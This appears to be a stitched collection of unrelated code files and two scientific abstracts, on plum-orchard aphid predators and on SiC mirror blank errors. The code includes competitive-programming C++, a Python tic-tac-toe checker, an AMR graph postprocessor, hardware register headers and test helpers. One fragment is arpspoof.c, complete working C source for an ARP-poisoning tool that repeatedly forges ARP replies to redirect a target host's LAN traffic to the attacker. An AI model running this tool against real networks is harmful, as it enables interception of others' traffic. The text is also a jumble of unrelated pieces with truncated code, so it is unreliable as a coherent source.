for(ll i = 0; i < n; i ++){
if(a[i] > 0){
temp = a[i];
ans += min((l-r)/2, a[i] / 2);
a[i] -= min((l-r) / 2 * 2, a[i] / 2 * 2);
l -= min((l-r) / 2 * 2, temp / 2 * 2);
if((l-r) / 2 == 0) break;
}
}
l = 0, r = 0;
for(ll i = 0; i < n; i ++){
if(a[i] > 0) l += a[i];
else r -= a[i];
}
ans += l;
cout<<ans<<"\n";
}
} |
THE COMPLEX OF PARASITES AND PREDATORS WITH ROLE IN LIMITING THE APHIDS FROM THE PLUM ORCHARDS IN THE CENTRAL OLTENIA AREA
The mealy plum aphid (Hyalopterus pruni Geoffr.), Homoptera Order, Aphididae Familiy, present a large area of spreding, beeing one of the main plum pest from the Oltenia central area. In the climatic conditions of the Oltenia central area, zoophagus play an important role in limiting the levell of the Hyalopterus pruni Geoffr. population from the plum orchards. The parasites which has an influence in reducing the Hyalopterus pruni Geoffr. population density, in the researched area belong to the following Genre: Ephedrus, Aphidius, Aphelinus and Praon. From the 5 genre the most numerous individs (38) belonged to the Praon volucre Hal specie. The complex of the predators insects, with role in limiting the aphids consists in almost 7 species which belong to 4 Families and 3 Orders: Chrysopa vulgaris Schn., Chrysopa carnea Steph., Adalia decimpunctata L., Adalia bipunctata L., Coccinella 7 punctata L., Aphidoletes aphidimyza Rond. The species from the Coleoptera order have a higher attack potential, beeing superior as number and predator as adult and larva, comparative with the specie from the Diptera order, which is predator only as larva, but superior as number of individs. |
// IndexMatchLine will index and extract the line contains the pattern.
func IndexMatchLine(ret, target string) (string, bool) {
if strings.Contains(ret, target) {
if target == "_|_" {
r := regexp.MustCompile(`_\|_[\s]//.*`)
match := r.FindAllString(ret, -1)
if len(match) > 0 {
return strings.Join(match, ","), true
}
}
}
return "", false
} |
winPositions = [
(0, 1, 2), (3, 4, 5), (6, 7, 8), (0, 3, 6), (1, 4, 7), (2, 5, 8), (0, 4, 8), (2, 4, 6)
]
COL = {
0 : 0,
1 : 1,
2 : 2,
3 : 0,
4 : 1,
5 : 2,
6 : 0,
7 : 1,
8 : 2,
}
ROW = {
0 : 0,
1 : 0,
2 : 0,
3 : 1,
4 : 1,
5 : 1,
6 : 2,
7 : 2,
8 : 2,
}
def checkWinnerDinner(gameState, computer):
for winPosition in winPositions:
if gameState[winPosition[0]] == gameState[winPosition[1]] and gameState[winPosition[1]] == gameState[winPosition[2]] and gameState[winPosition[1]] != -1 :
if gameState[winPosition[1]] == computer:
return True
else:
return True
return False
rowWinPosition = [(0, 1, 2), (3, 4, 5), (6, 7, 8)]
def checkWinnerGetRow(gameState, player):
for winPosition in rowWinPosition:
if gameState[winPosition[0]] == gameState[winPosition[1]] and gameState[winPosition[1]] == gameState[winPosition[2]] and gameState[winPosition[1]] == player :
return ROW[winPosition[0]]
return -1
colWinPosition = [(0, 3, 6), (1, 4, 7), (2, 5, 8)]
def checkWinnerGetColumn(gameState, player):
for winPosition in colWinPosition:
if gameState[winPosition[0]] == gameState[winPosition[1]] and gameState[winPosition[1]] == gameState[winPosition[2]] and gameState[winPosition[1]] == player :
return COL[winPosition[0]]
return -1
diagonal = [(0, 4, 8), (2, 4, 6)]
def checkWinnerGetDiag(gameState, player):
for winPosition in diagonal:
if gameState[winPosition[0]] == gameState[winPosition[1]] and gameState[winPosition[1]] == gameState[winPosition[2]] and gameState[winPosition[1]] == player :
return winPosition[0]
return -1
rowWinPosition = [(0, 1, 2), (3, 4, 5), (6, 7, 8)]
def checkWinnerGetRowWin(gameState, player):
for winPosition in rowWinPosition:
if gameState[winPosition[0]] == gameState[winPosition[1]] and gameState[winPosition[1]] == gameState[winPosition[2]] and gameState[winPosition[1]] == player :
return True
return False
colWinPosition = [(0, 3, 6), (1, 4, 7), (2, 5, 8)]
def checkWinnerGetColumnWin(gameState, player):
for winPosition in colWinPosition:
if gameState[winPosition[0]] == gameState[winPosition[1]] and gameState[winPosition[1]] == gameState[winPosition[2]] and gameState[winPosition[1]] == player :
return True
return False
diagonal = [(0, 4, 8), (2, 4, 6)]
def checkWinnerDiagWin(gameState, player):
for winPosition in diagonal:
if gameState[winPosition[0]] == gameState[winPosition[1]] and gameState[winPosition[1]] == gameState[winPosition[2]] and gameState[winPosition[1]] == player :
return True
return False |
//Sign calculates signature from bundle hash and key
//by hashing x 13-normalizedBundleFragment[i] for each segments in keyTrits.
func Sign(normalizedBundleFragment []int8, keyFragment Trytes) Trytes {
signatureFragment := make([]byte, len(keyFragment))
for i := 0; i < 27; i++ {
bb := keyFragment[i*HashSize/3 : (i+1)*HashSize/3]
for j := 0; j < 13-int(normalizedBundleFragment[i]); j++ {
bb = bb.Hash()
}
copy(signatureFragment[i*81:], bb)
}
return Trytes(signatureFragment)
} |
<filename>elit/components/amr/amr_parser/postprocess.py
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
from collections import defaultdict
from stog.utils import penman
import re
import numpy as np
from elit.common.vocab import Vocab
from elit.components.amr.amr_parser.amr_graph import is_attr_or_abs_form, need_an_instance
from elit.datasets.parsing.amr import largest_connected_component, to_triples
from elit.utils.util import powerset
class PostProcessor(object):
def __init__(self, rel_vocab):
self.amr = penman.AMRCodec()
self.rel_vocab: Vocab = rel_vocab
def to_triple(self, res_concept, res_relation):
"""
Take argmax of relations as prediction when prob of arc >= 0.5 (sigmoid).
Args:
res_concept: list of strings
res_relation: list of (dep:int, head:int, arc_prob:float, rel_prob:list(vocab))
Returns:
"""
ret = []
names = []
for i, c in enumerate(res_concept):
if need_an_instance(c):
name = 'c' + str(i)
ret.append((name, 'instance', c))
else:
if c.endswith('_'):
name = '"' + c[:-1] + '"'
else:
name = c
name = name + '@attr%d@' % i
names.append(name)
grouped_relation = defaultdict(list)
# dep head arc rel
for T in res_relation:
if len(T) == 4:
i, j, p, r = T
r = self.rel_vocab.get_token(int(np.argmax(np.array(r))))
else:
i, j, r = T
p = 1
grouped_relation[i] = grouped_relation[i] + [(j, p, r)]
for i, c in enumerate(res_concept):
if i == 0:
continue
max_p, max_j, max_r = 0., 0, None
for j, p, r in grouped_relation[i]:
assert j < i
if is_attr_or_abs_form(res_concept[j]):
continue
if p >= 0.5:
if not is_attr_or_abs_form(res_concept[i]):
if r.endswith('_reverse_'):
ret.append((names[i], r[:-9], names[j]))
else:
ret.append((names[j], r, names[i]))
if p > max_p:
max_p = p
max_j = j
max_r = r
if not max_r:
continue
if max_p < 0.5 or is_attr_or_abs_form(res_concept[i]):
if max_r.endswith('_reverse_'):
ret.append((names[i], max_r[:-9], names[max_j]))
else:
ret.append((names[max_j], max_r, names[i]))
return ret
def get_string(self, x):
return self.amr.encode(penman.Graph(x), top=x[0][0])
def postprocess(self, concept, relation, check_connected=False):
triples = self.to_triple(concept, relation)
if check_connected:
c, e = largest_connected_component(triples)
triples = to_triples(c, e)
if check_connected:
if check_connected is True:
check_connected = 1000
# Sometimes penman still complains, so let's use this stupid workaround
for subset in powerset(triples, descending=True):
if not subset:
break
try:
return self.get_string(subset)
except penman.EncodeError:
pass
check_connected -= 1
if not check_connected:
break
return '(c0 / multi-sentence)'
else:
mstr = self.get_string(triples)
return re.sub(r'@attr\d+@', '', mstr)
def to_amr(self, concept, relation):
triples = self.to_triple(concept, relation)
return penman.Graph(triples)
|
/*
* (C) Copyright 2000
* Wolfgang Denk, DENX Software Engineering, [email protected].
*
* (C) Copyright 2002
* Torsten Demke, FORCE Computers GmbH. [email protected]
*
* SPDX-License-Identifier: GPL-2.0+
*/
#ifndef _PIIX4_PCI_H
#define _PIIX4_PCI_H
#include <common.h>
#include <mpc824x.h>
#include <asm/processor.h>
#include <asm/io.h>
#include <pci.h>
#define PIIX4_VENDOR_ID 0x8086
#define PIIX4_ISA_DEV_ID 0x7110
#define PIIX4_IDE_DEV_ID 0x7111
/* Function 0 ISA Bridge */
#define PCI_CFG_PIIX4_IORT 0x4C /* 8 bit ISA Recovery Timer Reg (default 0x4D) */
#define PCI_CFG_PIIX4_XBCS 0x4E /* 16 bit XBus Chip select reg (default 0x0003) */
#define PCI_CFG_PIIX4_PIRQC 0x60 /* PCI IRQ Route Register 4 x 8bit (default )*/
#define PCI_CFG_PIIX4_SERIRQ 0x64
#define PCI_CFG_PIIX4_TOM 0x69
#define PCI_CFG_PIIX4_MSTAT 0x6A
#define PCI_CFG_PIIX4_MBDMA 0x76
#define PCI_CFG_PIIX4_APICBS 0x80
#define PCI_CFG_PIIX4_DLC 0x82
#define PCI_CFG_PIIX4_PDMACFG 0x90
#define PCI_CFG_PIIX4_DDMABS 0x92
#define PCI_CFG_PIIX4_GENCFG 0xB0
#define PCI_CFG_PIIX4_RTCCFG 0xCB
/* IO Addresses */
#define PIIX4_ISA_DMA1_CH0BA 0x00
#define PIIX4_ISA_DMA1_CH0CA 0x01
#define PIIX4_ISA_DMA1_CH1BA 0x02
#define PIIX4_ISA_DMA1_CH1CA 0x03
#define PIIX4_ISA_DMA1_CH2BA 0x04
#define PIIX4_ISA_DMA1_CH2CA 0x05
#define PIIX4_ISA_DMA1_CH3BA 0x06
#define PIIX4_ISA_DMA1_CH3CA 0x07
#define PIIX4_ISA_DMA1_CMDST 0x08
#define PIIX4_ISA_DMA1_REQ 0x09
#define PIIX4_ISA_DMA1_WSBM 0x0A
#define PIIX4_ISA_DMA1_CH_MOD 0x0B
#define PIIX4_ISA_DMA1_CLR_PT 0x0C
#define PIIX4_ISA_DMA1_M_CLR 0x0D
#define PIIX4_ISA_DMA1_CLR_M 0x0E
#define PIIX4_ISA_DMA1_RWAMB 0x0F
#define PIIX4_ISA_DMA2_CH0BA 0xC0
#define PIIX4_ISA_DMA2_CH0CA 0xC1
#define PIIX4_ISA_DMA2_CH1BA 0xC2
#define PIIX4_ISA_DMA2_CH1CA 0xC3
#define PIIX4_ISA_DMA2_CH2BA 0xC4
#define PIIX4_ISA_DMA2_CH2CA 0xC5
#define PIIX4_ISA_DMA2_CH3BA 0xC6
#define PIIX4_ISA_DMA2_CH3CA 0xC7
#define PIIX4_ISA_DMA2_CMDST 0xD0
#define PIIX4_ISA_DMA2_REQ 0xD2
#define PIIX4_ISA_DMA2_WSBM 0xD4
#define PIIX4_ISA_DMA2_CH_MOD 0xD6
#define PIIX4_ISA_DMA2_CLR_PT 0xD8
#define PIIX4_ISA_DMA2_M_CLR 0xDA
#define PIIX4_ISA_DMA2_CLR_M 0xDC
#define PIIX4_ISA_DMA2_RWAMB 0xDE
#define PIIX4_ISA_INT1_ICW1 0x20
#define PIIX4_ISA_INT1_OCW2 0x20
#define PIIX4_ISA_INT1_OCW3 0x20
#define PIIX4_ISA_INT1_ICW2 0x21
#define PIIX4_ISA_INT1_ICW3 0x21
#define PIIX4_ISA_INT1_ICW4 0x21
#define PIIX4_ISA_INT1_OCW1 0x21
#define PIIX4_ISA_INT1_ELCR 0x4D0
#define PIIX4_ISA_INT2_ICW1 0xA0
#define PIIX4_ISA_INT2_OCW2 0xA0
#define PIIX4_ISA_INT2_OCW3 0xA0
#define PIIX4_ISA_INT2_ICW2 0xA1
#define PIIX4_ISA_INT2_ICW3 0xA1
#define PIIX4_ISA_INT2_ICW4 0xA1
#define PIIX4_ISA_INT2_OCW1 0xA1
#define PIIX4_ISA_INT2_IMR 0xA1 /* read only */
#define PIIX4_ISA_INT2_ELCR 0x4D1
#define PIIX4_ISA_TMR0_CNT_ST 0x40
#define PIIX4_ISA_TMR1_CNT_ST 0x41
#define PIIX4_ISA_TMR2_CNT_ST 0x42
#define PIIX4_ISA_TMR_TCW 0x43
#define PIIX4_ISA_RST_XBUS 0x60
#define PIIX4_ISA_NMI_CNT_ST 0x61
#define PIIX4_ISA_NMI_ENABLE 0x70
#define PIIX4_ISA_RTC_INDEX 0x70
#define PIIX4_ISA_RTC_DATA 0x71
#define PIIX4_ISA_RTCEXT_IND 0x70
#define PIIX4_ISA_RTCEXT_DATA 0x71
#define PIIX4_ISA_DMA1_CH2LPG 0x81
#define PIIX4_ISA_DMA1_CH3LPG 0x82
#define PIIX4_ISA_DMA1_CH1LPG 0x83
#define PIIX4_ISA_DMA1_CH0LPG 0x87
#define PIIX4_ISA_DMA2_CH2LPG 0x89
#define PIIX4_ISA_DMA2_CH3LPG 0x8A
#define PIIX4_ISA_DMA2_CH1LPG 0x8B
#define PIIX4_ISA_DMA2_LPGRFR 0x8F
#define PIIX4_ISA_PORT_92 0x92
#define PIIX4_ISA_APM_CONTRL 0xB2
#define PIIX4_ISA_APM_STATUS 0xB3
#define PIIX4_ISA_COCPU_ERROR 0xF0
/* Function 1 IDE Controller */
#define PCI_CFG_PIIX4_BMIBA 0x20
#define PCI_CFG_PIIX4_IDETIM 0x40
#define PCI_CFG_PIIX4_SIDETIM 0x44
#define PCI_CFG_PIIX4_UDMACTL 0x48
#define PCI_CFG_PIIX4_UDMATIM 0x4A
/* Function 2 USB Controller */
#define PCI_CFG_PIIX4_SBRNUM 0x60
#define PCI_CFG_PIIX4_LEGSUP 0xC0
/* Function 3 Power Management */
#define PCI_CFG_PIIX4_PMAB 0x40
#define PCI_CFG_PIIX4_CNTA 0x44
#define PCI_CFG_PIIX4_CNTB 0x48
#define PCI_CFG_PIIX4_GPICTL 0x4C
#define PCI_CFG_PIIX4_DEVRESD 0x50
#define PCI_CFG_PIIX4_DEVACTA 0x54
#define PCI_CFG_PIIX4_DEVACTB 0x58
#define PCI_CFG_PIIX4_DEVRESA 0x5C
#define PCI_CFG_PIIX4_DEVRESB 0x60
#define PCI_CFG_PIIX4_DEVRESC 0x64
#define PCI_CFG_PIIX4_DEVRESE 0x68
#define PCI_CFG_PIIX4_DEVRESF 0x6C
#define PCI_CFG_PIIX4_DEVRESG 0x70
#define PCI_CFG_PIIX4_DEVRESH 0x74
#define PCI_CFG_PIIX4_DEVRESI 0x78
#define PCI_CFG_PIIX4_PMMISC 0x80
#define PCI_CFG_PIIX4_SMBBA 0x90
#endif /* _PIIX4_PCI_H */
|
import {SupportedLanguages, PostGetResponse, SequencedPostListResponse} from '../../../api-def/api';
export type FunctionFetchPostList<R extends SequencedPostListResponse> = (
uid: string,
langCode: SupportedLanguages,
) => Promise<R>;
export type FetchPostOptions<K extends string | number> = {
uid: string,
postId: K,
lang: SupportedLanguages,
incCount?: boolean,
};
export type FunctionFetchPost<K extends string | number, R extends PostGetResponse> = (
options: FetchPostOptions<K>
) => Promise<R>;
|
/**
* Parse a transformer processing instruction.
*
* @param data The data to parse.
* @return A ParsedTransformer object containing the properties from the given data string.
*
* @throws ParseException If the given input data could not be properly parsed.
*/
public static ParsedTransformer parseTransformer( String data )
throws ParseException
{
ParsedTransformer parsedTransformer = null;
Matcher matcher = whitespacePattern.matcher( data );
if( matcher.lookingAt() ) {
advanceRegion(matcher);
}
parsedTransformer = parseTransformer( matcher );
if( matcher.lookingAt()) {
advanceRegion(matcher);
}
if( matcher.regionStart() != matcher.regionEnd() ) {
throw new ParseException("Extra characters found.", data, matcher.regionStart());
}
return parsedTransformer;
} |
//function to find the parent of a vertex
int find(int i)
{
while(parent[i])
i=parent[i];
return i;
} |
<reponame>ahmet-tas/amazon-chime-sdk-component-library-react<filename>src/components/ui/Notification/Notification.stories.tsx
// Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
// SPDX-License-Identifier: Apache-2.0
import React from 'react';
import { select } from '@storybook/addon-knobs';
import { Notification } from '.';
import { Severity } from '../../../providers/NotificationProvider';
import NotificationDocs from './Notification.mdx';
import Flex from '../Flex';
import { Cog } from '../icons';
import Heading from '../Heading';
export default {
title: 'UI Components/Notification',
parameters: {
docs: {
page: NotificationDocs.parameters.docs.page().props.children.type
}
},
component: Notification
};
export const BasicNotification = () => {
return (
<Flex layout="fill-space-centered">
<Notification
onClose={() => {console.log('Close notification')}}
severity={select(
'severity',
{ success: Severity.SUCCESS,
warning: Severity.WARNING,
info: Severity.INFO,
error: Severity.ERROR,
},
Severity.ERROR
)}
message='This is the notification message'
/>
</Flex>
);
};
BasicNotification.story = {
name: 'Basic Notification',
};
export const NotificationWithButton = () =>{
return (
<Flex layout="fill-space-centered">
<Notification
onClose={() => {
console.log('Close notification');
}}
severity={select(
'severity',
{
success: Severity.SUCCESS,
warning: Severity.WARNING,
info: Severity.INFO,
error: Severity.ERROR,
},
Severity.SUCCESS
)}
icon={<Cog />}
message='This is the notification message'
buttonProps={{ label: 'Click me', onClick: () => alert('clicked'), }}
/>
</Flex>
);
};
NotificationWithButton.story = {
name: 'Notification with button and custom icon',
};
export const NotificationWithCustomContent = () =>{
return (
<Flex layout="fill-space-centered">
<Notification
onClose={() => {
console.log('Close notification');
}}
severity={select(
'severity',
{
success: Severity.SUCCESS,
warning: Severity.WARNING,
info: Severity.INFO,
error: Severity.ERROR,
},
Severity.SUCCESS
)}
icon={<Cog />}
>
<Heading
css={`padding: 0 2rem; font-weight: bold;`}
level={6}
>
This is a Heading component with custom styling
</Heading>
</Notification>
</Flex>
);
};
NotificationWithButton.story = {
name: 'Notification with custom content',
}; |
/**
* Clears old data and repopulates the @code RoomTaskListPanel} with the {@code Room} containing at least
* one {@code Task}.
*
* @param roomTaskList The list of rooms containing tasks with which to repopulate the panel.
*/
private void resetPanel(ObservableList<Room> roomTaskList) {
roomBox.getChildren().clear();
populatePanel(roomTaskList);
} |
<filename>arpspoof.c
/*
* arpspoof.c
*
* Redirect packets from a target host (or from all hosts) intended for
* another host on the LAN to ourselves.
*
* Copyright (c) 1999 <NAME> <<EMAIL>>
*
* $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
*/
#include "config.h"
#include <sys/types.h>
#include <sys/param.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>
#include "arp.h"
#include "version.h"
#ifndef HAVE_ETHER_NTOA
extern char *ether_ntoa(struct ether_addr *);
#endif
static libnet_t *l;
static struct ether_addr spoof_mac, target_mac;
static in_addr_t spoof_ip, target_ip;
static char *intf;
static void
usage(void)
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: arpspoof [-i interface] [-t target] host\n");
exit(1);
}
static int
arp_send(libnet_t *l, int op, u_int8_t *sha,
in_addr_t spa, u_int8_t *tha, in_addr_t tpa)
{
int retval;
if (sha == NULL &&
(sha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
return (-1);
}
if (spa == 0) {
if ((spa = libnet_get_ipaddr4(l)) == -1)
return (-1);
}
if (tha == NULL)
tha = "\xff\xff\xff\xff\xff\xff";
libnet_autobuild_arp(op, sha, (u_int8_t *)&spa,
tha, (u_int8_t *)&tpa, l);
libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, l, 0);
fprintf(stderr, "%s ",
ether_ntoa((struct ether_addr *)sha));
if (op == ARPOP_REQUEST) {
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
}
else {
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
retval = libnet_write(l);
if (retval)
fprintf(stderr, "%s", libnet_geterror(l));
libnet_clear_packet(l);
return retval;
}
#ifdef __linux__
static int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);
i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
close(fd);
return (i == 0);
}
#endif
static int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;
do {
if (arp_cache_lookup(ip, mac, intf) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(l, ARPOP_REQUEST, NULL, 0, NULL, ip);
#endif
sleep(1);
}
while (i++ < 3);
return (0);
}
static void
cleanup(int sig)
{
int i;
if (arp_find(spoof_ip, &spoof_mac)) {
for (i = 0; i < 3; i++) {
/* XXX - on BSD, requires ETHERSPOOF kernel. */
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&spoof_mac, spoof_ip,
(target_ip ? (u_int8_t *)&target_mac : NULL),
target_ip);
sleep(1);
}
}
exit(0);
}
int
main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c;
intf = NULL;
spoof_ip = target_ip = 0;
while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
switch (c) {
case 'i':
intf = optarg;
break;
case 't':
if ((target_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 1)
usage();
if ((spoof_ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
usage();
if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
errx(1, "%s", pcap_ebuf);
if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf);
if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, "couldn't arp for host %s",
libnet_addr2name4(target_ip, LIBNET_DONT_RESOLVE));
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
for (;;) {
arp_send(l, ARPOP_REPLY, NULL, spoof_ip,
(target_ip ? (u_int8_t *)&target_mac : NULL),
target_ip);
sleep(2);
}
/* NOTREACHED */
exit(0);
}
|
Examination of the Blank Error on Mirror Accuracy of Lightweight SiC Mirror and a Compensation Method
Due to excellent characteristics of specific stiffness and thermal stability, silicon carbide-based (SiC) material is commonly selected to construct large-scale lightweight mirror. In general, the fabrication process of SiC mirror is similar to the casting process. The blank error of SiC mirror is 0~1 mm. Due to the high hardness of SiC, only the mirror surface and some positioning surface will be milled. The mirror surface accuracy will be degraded due to the fact that the blank error can cause significant changes in weight distribution. In this paper, Monte Carlo analysis is firstly performed to examine the blank error on gravity center, stiffness and mirror accuracy of a SiC mirror. It is found that according to the designed mount location, the amount of degradation is more than 2.5 nm of which the probability is 40.3%. It is known that the error of gravity center can be compensated by optimizing the axial mount location. Then inverse modeling and testing of gravity center for the SiC mirror is carried out in order to determine the optimal axial mount location. Based on the proposed method, the mirror degradation introduced by the blank error has been eliminated to the greatest extend. |
<filename>sendim/middleware.py<gh_stars>1-10
from django.conf import settings
from django.contrib import messages
from referentiel.models import MailType,MailGroup,Supervisor
if 'djcelery' in settings.INSTALLED_APPS :
from djcelery.models import TaskMeta
class CeleryMessageMiddleware(object):
def process_request(self,request):
if request.user.is_authenticated():
for task in TaskMeta.objects.filter(status="SUCCESS") :
task_result = task.result
if task_result :
if 'SUCCESS' in task_result :
messages.add_message(request, messages.SUCCESS,'<b>Lecture de '+task_result[0]+u" termin\xe9e avec succ\xe8s !</b>")
else :
messages.add_message(request, messages.ERROR,'<b>Erreur de lecture de '+task_result[0]+' : '+str(task_result[2])+'</b>')
task.delete()
class SnafuRequirementMiddleware(object):
def process_request(self,request):
if request.user.is_authenticated() and not request.is_ajax() and not request.path.startswith('/admin/'):
messages_list = list()
if not Supervisor.objects.exists() :
messages_list.append('<li>Au moins 1 superviseur</li>')
if not MailType.objects.exists() :
messages_list.append('<li>Au moins 1 type de mail</li>')
if not MailGroup.objects.exists() :
messages_list.append('<li>Au moins 1 groupe de destinataire mail</li>')
if messages_list :
messages.add_message(request, messages.WARNING,u"<b>Attention</b>, il manque des donn\xe9es pour fonctionner :<ul>"+''.join(messages_list)+'</ul>')
|
/* Verifies that the given stream parameters are valid. */
static int verify_rstream_parameters(const struct cras_rstream_config *config,
struct cras_rstream *const *stream_out)
{
const struct cras_audio_format *format = config->format;
if (stream_out == NULL) {
syslog(LOG_ERR, "rstream: stream_out can't be NULL\n");
return -EINVAL;
}
if (format == NULL) {
syslog(LOG_ERR, "rstream: format can't be NULL\n");
return -EINVAL;
}
if (format->frame_rate < 4000 || format->frame_rate > 192000) {
syslog(LOG_ERR, "rstream: invalid frame_rate %zu\n",
format->frame_rate);
return -EINVAL;
}
if (!buffer_meets_size_limit(config->buffer_frames,
format->frame_rate)) {
syslog(LOG_ERR, "rstream: invalid buffer_frames %zu\n",
config->buffer_frames);
return -EINVAL;
}
if (!buffer_meets_size_limit(config->cb_threshold,
format->frame_rate) ||
config->cb_threshold > config->buffer_frames) {
syslog(LOG_ERR, "rstream: invalid cb_threshold %zu\n",
config->cb_threshold);
return -EINVAL;
}
if (format->num_channels < 0 || format->num_channels > CRAS_CH_MAX) {
syslog(LOG_ERR, "rstream: invalid num_channels %zu\n",
format->num_channels);
return -EINVAL;
}
if ((format->format != SND_PCM_FORMAT_S16_LE) &&
(format->format != SND_PCM_FORMAT_S32_LE) &&
(format->format != SND_PCM_FORMAT_U8) &&
(format->format != SND_PCM_FORMAT_S24_LE)) {
syslog(LOG_ERR, "rstream: format %d not supported\n",
format->format);
return -EINVAL;
}
if (config->direction != CRAS_STREAM_OUTPUT &&
config->direction != CRAS_STREAM_INPUT) {
syslog(LOG_ERR, "rstream: Invalid direction.\n");
return -EINVAL;
}
if (config->stream_type < CRAS_STREAM_TYPE_DEFAULT ||
config->stream_type >= CRAS_STREAM_NUM_TYPES) {
syslog(LOG_ERR, "rstream: Invalid stream type.\n");
return -EINVAL;
}
if ((config->client_shm_size > 0 && config->client_shm_fd < 0) ||
(config->client_shm_size == 0 && config->client_shm_fd >= 0)) {
syslog(LOG_ERR, "rstream: invalid client-provided shm info\n");
return -EINVAL;
}
if (cras_rstream_config_is_client_shm_stream(config) &&
(config->buffer_offsets[0] > config->client_shm_size ||
config->buffer_offsets[1] > config->client_shm_size)) {
syslog(LOG_ERR,
"rstream: initial buffer offsets are outside shm area\n");
return -EINVAL;
}
return 0;
} |
<filename>Testing/Core/vtkTestErrorObserver.h
/*=========================================================================
Program: Visualization Toolkit
Module: TestErrorObserver.h
Copyright (c) <NAME>, <NAME>, <NAME>
All rights reserved.
See Copyright.txt or http://www.kitware.com/Copyright.htm for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notice for more information.
=========================================================================*/
#ifndef vtkTestErrorObserver_h
#define vtkTestErrorObserver_h
#include <string> // Needed for std::string
#include <vtkCommand.h>
namespace vtkTest
{
class ErrorObserver : public ::vtkCommand
{
public:
vtkTypeMacro(ErrorObserver, vtkCommand);
ErrorObserver()
: Error(false)
, Warning(false)
, ErrorMessage("")
, WarningMessage("")
{
}
static ErrorObserver* New() { return new ErrorObserver; }
bool GetError() const { return this->Error; }
bool GetWarning() const { return this->Warning; }
void Clear()
{
this->Error = false;
this->Warning = false;
this->ErrorMessage = "";
this->WarningMessage = "";
}
void Execute(vtkObject* vtkNotUsed(caller), unsigned long event, void* calldata) override
{
switch (event)
{
case vtkCommand::ErrorEvent:
ErrorMessage += static_cast<char*>(calldata);
this->Error = true;
break;
case vtkCommand::WarningEvent:
WarningMessage += static_cast<char*>(calldata);
this->Warning = true;
break;
}
}
std::string GetErrorMessage() { return ErrorMessage; }
std::string GetWarningMessage() { return WarningMessage; }
/**
* Check to see if an error or warning message exists.
* Given an observer, a message and a status with an initial value,
* Returns 1 if an error does not exist, or if msg is not contained
* in the error message.
* Returns 0 if the error exists and msg is contained in the error
* message.
* If the test fails, it reports the failing message, prepended with "ERROR:".
* ctest will detect the ERROR and report a failure.
*/
int CheckErrorMessage(const std::string& expectedMsg)
{
if (!this->GetError())
{
std::cout << "ERROR: Failed to catch any error. Expected the error message to contain \""
<< expectedMsg << std::endl;
return 1;
}
else
{
std::string gotMsg(this->GetErrorMessage());
if (gotMsg.find(expectedMsg) == std::string::npos)
{
std::cout << "ERROR: Error message does not contain \"" << expectedMsg << "\" got \n\""
<< gotMsg << std::endl;
return 1;
}
}
this->Clear();
return 0;
}
int CheckWarningMessage(const std::string& expectedMsg)
{
if (!this->GetWarning())
{
std::cout << "ERROR: Failed to catch any warning. Expected the warning message to contain \""
<< expectedMsg << std::endl;
return 1;
}
else
{
std::string gotMsg(this->GetWarningMessage());
if (gotMsg.find(expectedMsg) == std::string::npos)
{
std::cout << "ERROR: Warning message does not contain \"" << expectedMsg << "\" got \n\""
<< gotMsg << std::endl;
return 1;
}
}
this->Clear();
return 0;
}
private:
bool Error;
bool Warning;
std::string ErrorMessage;
